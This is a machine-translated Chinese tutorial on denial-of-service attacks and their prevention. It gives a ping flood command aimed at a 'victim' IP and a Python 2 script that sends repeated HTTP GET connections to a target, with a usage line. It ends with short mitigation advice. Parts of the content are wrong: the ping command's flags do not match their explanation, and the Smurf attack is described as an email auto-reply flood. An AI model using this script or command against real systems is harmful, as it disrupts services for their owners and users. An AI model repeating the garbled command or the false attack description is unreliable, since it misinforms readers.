📜  拒绝服务和预防

📅  最后修改于: 2021-04-16 08:07:30             🧑  作者: Mango

拒绝服务(DoS)是对单个计算机或网站的网络攻击,目的是拒绝向目标用户提供服务,其目的是通过拒绝对其用户的访问来破坏组织的网络运行。具有多余请求的目标机器或资源,试图使系统超载并阻止某些或所有合法请求得到满足。
例如,如果银行网站单击“登录”按钮每秒可以处理10个人,那么攻击者只需每秒发送10个虚假请求即可,因此没有合法用户可以登录。

DoS攻击利用了计算机网络技术的各种弱点。它们可能针对服务器,网络路由器或网络通信链接。它们可能导致计算机和路由器崩溃,并使链接陷入瘫痪。

最著名的DoS技术是Ping of Death。 Ping of Death攻击通过生成和发送特殊的网络消息(特别是非标准大小的ICMP数据包)来工作,这些消息会对接收它们的系统造成问题。在Web的早期,这种攻击可能导致不受保护的Internet服务器迅速崩溃。

强烈建议在虚拟机而不是您的工作环境上尝试所有描述的活动

以下是用于在IP上执行请求泛洪的命令

ping ip_address –t -65500

这里,

  • “ ping”将数据包发送给受害者。
  • “ ip_address”是受害者的IP地址。
  • “ -t”表示应在程序停止之前发送数据包。
  • “ -l(65500)”指定要发送给受害者的数据负载。

其他类型的DoS攻击涉及

  • 用无用的活动淹没网络,使真正的流量无法通过。 TCP / IP SYN和蓝精灵攻击是两个常见的示例。
  • 远程使系统的CPU过载,从而无法处理有效的请求。
  • 更改权限或破坏授权逻辑以防止用户登录系统。一个常见的示例涉及触发一系列快速的错误登录尝试,从而使帐户无法登录。
  • 删除或干扰特定的关键应用程序或服务以阻止其正常运行(即使系统和网络整体正常运行)。

DoS的另一个变体是Smurf_attack。这涉及具有自动回复的电子邮件。如果某人通过电子邮件将具有伪造的返回电子邮件地址的数百封电子邮件发送给组织中具有自动响应功能的组织中的数百个人,则最初发送的消息可能会成千上万个发送到伪造的电子邮件地址。如果该虚假电子邮件地址实际上属于某人,则可能使该人的帐户不堪重负。

DoS攻击可能导致以下问题:

  • 服务无效
  • 无法访问的服务
  • 网络流量中断
  • 连接干扰

以下是对没有太多套接字连接的小型网站执行拒绝服务攻击的Python脚本

# Please note that running this code might
# cause your IP blocked by server. And purpose
# of this code is only learning.
import socket, sys, os  
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];  
def attack():  
    #pid = os.fork()  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.connect((sys.argv[1], 80))  
    print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
    s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
    s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
    s.close()  
  
# Driver code
for i in range(1, 1000):  
    attack() 

我们可以使用上面的代码作为

python ddos.py target_ip_address apache

预防

鉴于拒绝服务(DoS)攻击变得越来越频繁,现在是时候回顾基本知识以及我们如何进行反击的好时机。

  • 云缓解提供商–云缓解提供商是从云提供DDoS缓解的专家。这意味着他们在Internet上的多个站点上建立了大量的网络带宽和DDoS缓解能力,无论您使用多个ISP,您自己的数据中心还是任何数量的云提供商,都可以吸收任何类型的网络流量。他们可以为您清理流量,仅向您的数据中心发送“干净”流量。
  • 防火墙–这是最简单,效果最差的方法。通常,有些人会编写一些Python脚本来尝试滤除不良流量,否则企业将尝试并使用其现有的防火墙来阻止流量
  • Internet服务提供商(ISP) –一些企业使用其ISP提供DDoS缓解措施。这些ISP的带宽超过了企业,这可以帮助应对大容量攻击

为了抵御这些攻击,您必须应用安全的编码并设计强大的体系结构,以防止此类攻击并针对您的网站错误更新日常解决方案。

参考
https://www.owasp.org/index。 PHP/ Denial_of_Service
https://zh.wikipedia.org/wiki/Denial-of-service_attack